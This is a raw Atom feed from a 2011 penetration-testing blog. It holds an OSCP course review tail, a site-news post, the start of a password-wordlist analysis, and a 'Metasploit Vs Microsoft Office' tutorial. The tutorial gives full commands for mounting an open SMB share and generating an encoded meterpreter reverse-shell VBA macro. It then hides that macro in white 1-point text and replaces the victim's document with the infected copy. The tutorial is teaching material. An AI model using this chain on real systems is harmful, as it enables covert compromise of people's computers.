Yes, there is PDF and video to start you off and guide you through the&amp;nbsp;first few steps. However, you will need to learn (and try!) things for yourself. &lt;/li&gt;&lt;li&gt;(Slight) background knowledge can help. Can give you a rough idea of how do try something.&lt;/li&gt;&lt;li&gt;It's a very watered down sample.&amp;nbsp;&lt;/li&gt;&lt;li&gt;You can take your time doing it (no lab time to worry about).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;To students currently doing it:&lt;/b&gt;&lt;br /&gt;&lt;b&gt; &lt;/b&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;Learn the materials&lt;i&gt; &lt;/i&gt;&lt;/b&gt;&lt;i&gt;(Read the PDF, &lt;/i&gt;&lt;i&gt;watch the videos)&lt;b&gt; &lt;/b&gt;&lt;/i&gt;BEFORE starting the labs. It's worth doing it.&amp;nbsp;&lt;b&gt; &lt;/b&gt;&lt;/li&gt;&lt;li&gt;Update/Check/Uninstall Programs before starting - &lt;b&gt;Update&lt;/b&gt; the OS (BackTrack) &amp;amp; software (nmap, exploitdb, metasploit) once it is stable and you are in the labs, DON'T update again, as it could break something! &lt;b&gt;Check&lt;/b&gt; the blog, forums and IRC (both Backtrack &amp;amp; offsec). &lt;b&gt;Uninstall &lt;/b&gt;nessus. Best not to have the temptation of its power. Don't get me wrong - it is a great tool. But as you can't use it for the exam, you are better off learning to work without it.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Enumeration&lt;/b&gt;, more &lt;b&gt;enumeration&lt;/b&gt;, and even more &lt;b&gt;enumeration&lt;/b&gt;. There is a reason why you don't "get a shell" on anything for the first 6 chapters... &lt;/li&gt;&lt;li&gt;Pick off the &lt;b&gt;low hanging fruit&lt;/b&gt;. Go after the "easy" ones first. If you see &lt;b&gt;port "x"&lt;/b&gt; open,&lt;b&gt; check "y"&lt;/b&gt;, &lt;b&gt;run "z"&lt;/b&gt; exploit. This helps you to get an idea of the network, collect usernames, passwords, hashes, etc.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Revert&lt;/b&gt; the machine &lt;b&gt;BEFORE&lt;/b&gt; you attack - then &lt;b&gt;scan&lt;/b&gt; it &lt;b&gt;again&lt;/b&gt; (TCP &amp;amp; UDP). Once you have shell, &lt;b&gt;netstat&lt;/b&gt; &lt;i&gt;(a 'internal scan', if you will)&lt;/i&gt;, and compare the results. &lt;i&gt;Is there something running internally, which is blocked externally?&lt;/i&gt;&lt;/li&gt;&lt;li&gt;All the exploits are exploit-db or in the metsaploit frame work. However, sometimes you have "&lt;b&gt;make the exploit fit&lt;/b&gt;".&lt;/li&gt;&lt;li&gt;Use a &lt;b&gt;different port&lt;/b&gt;. &lt;/li&gt;&lt;li&gt;When you are "root/system" - have a &lt;b&gt;look about&lt;/b&gt;. Desktop, Documents, Program files, Temp folders, Recent files, etc. There are some "juicy" files on some boxes. Not all. Some. &lt;i&gt;Hint: Was it running MySQL? VNC? xyz? What are the usernames and or passwords for it!? &lt;/i&gt;&lt;/li&gt;&lt;li&gt;"&lt;b&gt;Print Screen&lt;/b&gt;" &lt;b&gt;as you go&lt;/b&gt;. Also &lt;b&gt;copy &amp;amp; paste&lt;/b&gt; the konsole/terminal&lt;b&gt; output&lt;/b&gt; too. It will help you down the line. &lt;i&gt;More than you think.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Try harder&lt;/b&gt;. It can be done....&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-TAM1p1nl4lw/Tiw6ODjYWrI/AAAAAAAAAPU/TpwYuaR0JOQ/s1600/pwb.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://1.bp.blogspot.com/-TAM1p1nl4lw/Tiw6ODjYWrI/AAAAAAAAAPU/TpwYuaR0JOQ/s640/pwb.png" width="544" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;I would like to thank the offsec team for allowing the course to happen as well as the people which gave me support throughout it all. &lt;b&gt;Thank you.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;&lt;span style="color: blue;"&gt;Update (2011-11-08):&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;One of the features of been an Offsec Student is having access to their hash cracking service, '&lt;a href="http://cracker.offensive-security.com/"&gt;crackpot&lt;/a&gt;'.&amp;nbsp; However, I personally got a higher success rate using:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.md5decrypter.co.uk/ntlm-decrypt.aspx"&gt;http://www.md5decrypter.co.uk/ntlm-decrypt.aspx&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://goog.li/"&gt;http://goog.li&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;If you are looking for some background reading before starting the course, I would recommend looking at:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.pentest-standard.org/index.php/Main_Page"&gt;http://www.pentest-standard.org/index.php/Main_Page&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.corelan.be/"&gt;http://www.corelan.be&lt;/a&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt; &lt;a href="http://www.offensive-security.com/offsec/"&gt;http://www.offensive-security.com/offsec/&lt;/a&gt; (&lt;a href="http://www.offensive-security.com/offsec/metasploit-pro-added-to-the-pwb-labs/"&gt;Example&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-6554631948652186224?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/6554631948652186224/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/07/review-pentesting-with-backtrack-pwb.html#comment-form' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/6554631948652186224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/6554631948652186224'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/07/review-pentesting-with-backtrack-pwb.html' title='[Review] Pentesting With BackTrack (PWB) &amp; Offensive Security Certified Professional (OSCP)'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-TAM1p1nl4lw/Tiw6ODjYWrI/AAAAAAAAAPU/TpwYuaR0JOQ/s72-c/pwb.png' height='72' width='72'/><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-3780944341765189472</id><published>2011-07-27T11:15:00.001+01:00</published><updated>2011-07-28T14:06:24.445+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Site News'/><title type='text'>[Site News] July 2011</title><content type='html'>As I've been hiding under a rock as of late, I thought I would check in and explain what's on my "to do" list &lt;i&gt;to try and make up for the lack of posts&lt;/i&gt;. Hopefully, over the next few weeks:&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I've got 15-ish &lt;b&gt;videos&lt;/b&gt; in the works, ready to be recorded&lt;i&gt; ...and on that note...&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Not far off the &lt;b&gt;50th&lt;/b&gt; video. &lt;i&gt;I've got something in mind for it =)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;I'm long overdue with releasing &lt;b&gt;updates&lt;/b&gt; for a couple of &lt;b&gt;scripts&lt;/b&gt; (fakeAP_pwn &amp;amp; wiffy to name a few), as well as a few&lt;b&gt; new ones&lt;/b&gt;.&lt;/li&gt;&lt;li&gt;I've also been bouncing a few ideas for a &lt;b&gt;future project&lt;/b&gt;,and, as a result a couple of people are on board to give a hand for "bigger" things. When the time right, I'll ask for more help - I need to get a "framework/structure" in place first. &lt;i&gt;More details at a later date!&lt;/i&gt;&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: blue;"&gt;~g0tmi1k&lt;/div&gt;&lt;ul&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-3780944341765189472?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/3780944341765189472/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/07/site-news-july-2011.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/3780944341765189472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/3780944341765189472'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/07/site-news-july-2011.html' title='[Site News] July 2011'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-8014297921216339600</id><published>2011-06-05T23:32:00.005+01:00</published><updated>2011-12-14T20:50:07.625Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><title type='text'>[Video] Metasploit Vs Microsoft Office</title><content type='html'>&lt;b&gt;&lt;span style="color: red;"&gt;&lt;i&gt;Links&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Watch video on-line:&lt;/b&gt; &lt;i&gt;&lt;a href="http://blip.tv/g0tmi1k/metasploit-vs-microsoft-office-5241818"&gt;http://blip.tv/g0tmi1k/metasploit-vs-microsoft-office-5241818&lt;/a&gt;&lt;/i&gt;&lt;b&gt;&lt;br /&gt;Download video:&amp;nbsp;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;a href="http://mediafire.com/?cw0do9o1hv8wpg0"&gt;http://mediafire.com/?cw0do9o1hv8wpg0&lt;/a&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="500" src="http://blip.tv/play/hdkFgr_4PgA.html" width="500"&gt;&lt;/iframe&gt;&lt;embed src="http://a.blip.tv/api.swf#hdkFgr_4PgA" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;i&gt;Brief Overview&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Following on from the &lt;a href="http://g0tmi1k.blogspot.com/2011/03/video-metasploit-vs-adobe-pdfs.html"&gt;Adobe Reader&lt;/a&gt; post, another very common document format is Microsoft's Office Word (.doc). This screencast demonstrates how embedding an evil 'macro' into the document can lead to compromising the target's computer.&lt;br /&gt;&lt;br /&gt;A macro is an 'automated shortcut' to repeat tasks, in this case, to generate a  meterpreter payload and connect back to the attacker. Even though the  payload can be encoded to by-pass anti-virus, Microsoft Word still could block it depending on the macro security level.&lt;br /&gt;&lt;br /&gt;To infect the target, the attacker scans the network and finds an open shared folder, which they have read &amp;amp; write access to. Upon viewing the contents of the folder, the attacker notices a Word Document. However, presenting the infected file could be done a number of different ways, such as &lt;a href="http://g0tmi1k.blogspot.com/2011/03/video-metasploit-vs-adobe-pdfs.html"&gt;emailing&lt;/a&gt; the target instead of scanning &amp;amp; replacing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;i&gt;What do I need?&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Metasploit – Download &lt;a href="http://www.metasploit.com/"&gt;here&lt;/a&gt;. &lt;i&gt;*Can be found on BackTrack 5.*&lt;/i&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Microsoft Office - Can be bought from the &lt;a href="https://office.microsoft.com/"&gt;online office store&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Nmap - Download &lt;a href="http://nmap.org/"&gt;here&lt;/a&gt;. &lt;i&gt;*Can be found on BackTrack 5.*&lt;/i&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Samba - Download &lt;a href="http://www.samba.org/samba/download/"&gt;here&lt;/a&gt;. &lt;i&gt;*Can be found on BackTrack 5.*&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * The attacker remotely controlled a 'test machine' using tightvnc which can be found on BackTrack 5. Download &lt;a href="http://www.tightvnc.com/"&gt;here&lt;/a&gt;.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;i&gt;Method&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Scan network&lt;/b&gt; for active hosts (nmap)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Scan&lt;/b&gt; host for &lt;b&gt;open ports&lt;/b&gt; (nmap) &lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Scan&lt;/b&gt; for any &lt;b&gt;available shares&lt;/b&gt; (Samba)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Mount&lt;/b&gt; &lt;b&gt;shared folder&lt;/b&gt; &amp;amp; &lt;b&gt;view&lt;/b&gt; &lt;b&gt;contents&lt;/b&gt; of it (Samba)&lt;/i&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Copy document&lt;/b&gt; onto another (Windows) machine. (Samba)&lt;br /&gt;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Create macro&lt;/b&gt; &amp;amp; &lt;b&gt;embed&lt;/b&gt; the &lt;b&gt;payload&lt;/b&gt; (Metasploit)&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; * Try &amp;amp; &lt;b&gt;hide&lt;/b&gt; the '&lt;b&gt;modifications&lt;/b&gt;' (Office)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Replace&lt;/b&gt; the &lt;b&gt;original document&lt;/b&gt; with the infected version (Samba)&lt;/i&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Wait&lt;/b&gt; for target to open the file&lt;br /&gt;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Game Over&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;i&gt;Commands:&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;apt-get install smbfs &lt;br /&gt;nmap 192.168.0.* -n -sn&lt;br /&gt;nmap 192.168.0.105 -T5&lt;br /&gt;smbclient -L \\192.168.0.105 -N&lt;br /&gt;mkdir /mnt/shared&lt;br /&gt;smbmount //192.168.0.105/Documents /mnt/shared -o rw&lt;br /&gt;cd /mnt/shared &amp;amp;&amp;amp; ls -l&lt;br /&gt;&lt;br /&gt;mkdir ../vnc&lt;br /&gt;smbmount //192.168.0.105/write /mnt/vnc -o rw&lt;br /&gt;cp SuperSecretStuff.doc ../vnc/&lt;br /&gt;&lt;br /&gt;ifconfig eth0   #hostname -I&lt;br /&gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=445 -e shikata_ga_nai -i 3 -f vba &amp;gt; ../vnc/vba.txt&lt;br /&gt;&lt;br /&gt;vncviewer 192.168.0.124&lt;br /&gt;Notepad -&amp;gt; Open -&amp;gt; vba.txt&lt;br /&gt;Microsoft Word -&amp;gt; Tools -&amp;gt; Macro -&amp;gt; Virtual Basic Editor&lt;br /&gt;   Insert -&amp;gt; Module -&amp;gt; *Paste first half* -&amp;gt; Close&lt;br /&gt;Microsoft Word -&amp;gt; Page break -&amp;gt; *Paste second half* -&amp;gt; Font Size: 1 -&amp;gt; Font Colour: White -&amp;gt; Save -&amp;gt; Close&lt;br /&gt;&lt;br /&gt;cp ../vnc/SuperSecretStuff.doc ./&lt;br /&gt;clear&lt;br /&gt;&lt;br /&gt;msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=445 E&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;i&gt;Walk-through&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;As the target has 'learnt their lesson' from 'new' opening email attachments from '&lt;i&gt;unknown&lt;/i&gt;' people, the attacker chooses to replace a 'trusted' file.&lt;br /&gt;&lt;br /&gt;The attacker has already connected to the network and to starts to scan the network to see if there are any active hosts currently connected. After locating the target, the attacker scans the target to see which ports they have that are open. The results of the port scan shows that the target could be sharing a folder on the network. The attacker proceeds by searching for shared resources. The attacker attempts to access a shared folder as a guest, and when prompted for any credentials, leaves them blank. The attacker gets lucky and has access to an open &amp;amp; writeable folder! After listing the contents of the folder, notices it has a document in it...&lt;br /&gt;&lt;br /&gt;Before the attacker clones the document, they mount a shared folder on a 'test machine' which they control. The reason for this is because the easiest way to inject a VBA macro is to use 'Microsoft Office' itself!&amp;nbsp; The attacker then copies the targets document to the test machine.&lt;br /&gt;&lt;br /&gt;Afterwards, the attacker generates the VBA macro, which will be injected into the cloned documents. When creating the macro, the attacker chooses to 'encode' the payload, which 'helps' bypass anti-virus &lt;i&gt;- however this isn't essential as there isn't any installed!&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Once the macro has been transferred to the test machine, the attacker remotely connects to the machine to control it. The first stage of the infected is to create a macro and place the first piece of the code which was generated into it. The second piece of code goes into the document itself. As having the code is very visible, the attacker decides to use the smallest font, therefore taking up the least amount of space. By setting the text colour to white, this is the same as the background colour that causes the text to appear to be invisible. The document is then saved and replaced over the original. &lt;br /&gt;&lt;br /&gt;The attacker then sits back &amp;amp; relaxes until the target opens the 'new infected' document... which the target soon does =). &lt;b&gt;However!&lt;/b&gt; Depending on Microsoft's Word security level, either the user is presented with a warning message asking to enable or disable macros, doesn't open the document at all or opens without question! &lt;i&gt;*As shown in the video*. &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;i&gt;Notes:&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * This is my first video using BackTrack 5, by default KDE has semi-transparent konsole window. This caused 'poor' results when encoding.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Camtasia didn't record the VNC session that well, hence why there was a bit of lag in places.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Blip.TV has recently had a makeover and has updated their internal system for encoding. I believe the videos are now encoded at a lower quality, compared to previously uploaded.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp; In the current release of metasploit, I created a link to 'msfvenom' before recording by doing: &lt;span style="color: #999999;"&gt;ln -s /opt/framework3/msf3/msfvenom /usr/local/bin/msfvenom&lt;/span&gt;. Hopefully this will be fix/updated &lt;a href="http://redmine.backtrack-linux.org:8080/issues/78"&gt;soon&lt;/a&gt;.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp; Before hand, I had instlaled smbfs. This is missing from the video, however you just need to run, apt-get install smbfs&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Song: &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/10402032/Hold-On/Product.html?aid=10401868"&gt;Lazee Feat. Neverstore - Hold On (Matrix Futurebound Terrace Tantrum Remix)&lt;/a&gt;&lt;br /&gt;&lt;div class="western" style="margin-bottom: 0cm;"&gt;Video length: 5:39&lt;br /&gt;Capture length: 10:04&lt;/div&gt;&lt;div class="western" style="margin-bottom: 0cm;"&gt;Blog Post:&lt;i&gt; &lt;a href="http://g0tmi1k.blogspot.com/2011/06/video-metasploit-vs-microsoft-office.html"&gt;http://g0tmi1k.blogspot.com/2011/06/video-metasploit-vs-microsoft-office.html&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;Forum Post: &lt;a href="http://www.backtrack-linux.org/forums/backtrack-5-videos/43652-%5Bvideo%5D-metasploit-vs-microsoft-office.html#post204397"&gt;&lt;i&gt;http://www.backtrack-linux.org/forums/backtrack-5-videos/43652-%5Bvideo%5D-metasploit-vs-microsoft-office.html#post204397&lt;/i&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-8014297921216339600?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/8014297921216339600/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/06/video-metasploit-vs-microsoft-office.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/8014297921216339600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/8014297921216339600'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/06/video-metasploit-vs-microsoft-office.html' title='[Video] Metasploit Vs Microsoft Office'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-73574277682334590</id><published>2011-06-03T17:29:00.002+01:00</published><updated>2011-09-22T14:39:28.787+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='wordlists'/><title type='text'>[Analysis] Dictionaries &amp; Wordlists</title><content type='html'>In general, it's said that using a &lt;u&gt;GOOD&lt;/u&gt; 'dictionary' or 'wordlist' &lt;i&gt;(as far as I know, they're the same!)&lt;/i&gt; is 'key'. But what makes them &lt;u&gt;GOOD&lt;/u&gt;? Most people will say 'the bigger, the better'; however, this isn't always the case... &lt;i&gt;(for the record this isn't my opinion on the matter - more on this later)&lt;/i&gt;. &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Other than a mass of download links it contains pretty pictures and confusing numbers which shows the break down of statistics regarding 17 wordlists. These wordlists, which the original source(s) can be found online, have been 'analysed', 'cleaned' and then 'sorted', for example:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Merged each 'collection' into &lt;b&gt;one file&lt;/b&gt; &lt;i&gt;(minus the 'readmes' files)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Removed leading &amp;amp; &lt;b&gt;trailing spaces&lt;/b&gt; &amp;amp; tabs&lt;/li&gt;&lt;li&gt;Converted all '&lt;b&gt;new line&lt;/b&gt;s' to 'Unix' format&lt;/li&gt;&lt;li&gt;Removed &lt;b&gt;non-printable&lt;/b&gt; characters &lt;/li&gt;&lt;li&gt;Removed &lt;b&gt;HTML tags&lt;/b&gt; &lt;i&gt;(Complete and common incomplete tags)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Removed &lt;i&gt;(common domains)&lt;/i&gt; &lt;b&gt;email addresses&lt;/b&gt;&lt;/li&gt;&lt;li&gt;Removed &lt;b&gt;duplicate&lt;/b&gt; entries&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;i&gt;How much would be used if they were for 'cracking &lt;b&gt;WPA&lt;/b&gt;' &lt;/i&gt;&lt;i&gt;(Between 8-63 characters)&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;It may not sound a lot - but after the process, the size of most wordlists are considerably smaller!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Before getting the the results, each wordlist has been sorted differently rather than 'case sensitive A-Z'.&lt;br /&gt;Each wordlist was:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Split into &lt;b&gt;two parts&lt;/b&gt; - &lt;i&gt;'Single or two words' and 'multiple spaces'.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Sorted by the &lt;b&gt;amount of &lt;/b&gt;times the word was &lt;b&gt;duplicated&lt;/b&gt; - &lt;i&gt;Therefore higher up the list, the more common the word is.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Sorted again by '&lt;b&gt;in-case sensitive&lt;/b&gt; A-Z'.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Joined&lt;/b&gt; back together - &lt;i&gt;Single or two words at the start.&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;The reason for splitting into two parts&amp;nbsp; was that&amp;nbsp; 'most' passwords are either one or two words (containing one space in them). Words which have multiple spaces are mainly due to 'mistakes' with when/how the wordlists was created.  So having them lower down, should increases the speed the  password is discovered, without losing any possibility. &lt;br /&gt;&lt;br /&gt;The justification of sorting by duplicated amount was the more common the word is, the higher the chance the word would be used! If you don't like this method, you can sort it yourself back to case sensitive A-Z, however it can't be sorted how it was - &lt;i&gt;due to the lists not having (hopefully) any duplicates in them!&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;When removing HTML tags and/or email addresses, it doesn't mean that it wasn't effective. If the word has contained some HTML tags and it was still  unique afterwords, it wouldn't change the line numbers, it would improve the wordlist &amp;amp; it still could be unique It is also worth mentioning, due to a general rule of 'search &amp;amp; replace', it COULD of removed a few false positives. It is believed that the amount removed to the predicted estimated amount is worth it. For example instead of having three passwords like below, it would be more worth while to have just the two passwords:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;user1@company.com:password1&lt;/li&gt;&lt;li&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;user2@company.com:password1 &lt;/li&gt;&lt;li&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;user3@company.com:password2&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Download links for each collection which has been 'cleaned' is in the table below along with the results found and graphs. '17-in-1' is the combination of the results produced from each of the 17 collections. The extra addition afterwords (18-in-1), is a mixture of random wordlists (&lt;a href="http://www.mediafire.com/?t5dboere0bwfy"&gt;Languages&lt;/a&gt; (&lt;a href="http://www.mediafire.com/?3d1optau6xaugru"&gt;AIO&lt;/a&gt;), &lt;a href="http://www.mediafire.com/download.php?cx1aj58nbg9egj5"&gt;Random&lt;/a&gt; &amp;amp; &lt;a href="http://www.mediafire.com/download.php?17da1fx65a912tp"&gt;W&lt;/a&gt;&lt;a href="http://www.mediafire.com/download.php?45pq693aabe39di"&gt;P&lt;/a&gt;&lt;a href="http://www.mediafire.com/download.php?j4mb1x8941pyaxe"&gt;A&lt;/a&gt;) which I have accumulated. You can view &amp;amp; download them &lt;a href="http://www.mediafire.com/?0add3gus5acct"&gt;here&lt;/a&gt; (along with all the others!). '18-in-1 [WPA]', is a 'smaller' version of 18-in-1, with JUST words between 8-63 characters. &lt;br /&gt;&lt;table border="1"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;th&gt;Collection Name&lt;br /&gt;&lt;i style="font-weight: normal;"&gt; (Original Source)&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;Lines &amp;amp; Size&lt;br /&gt;&lt;div 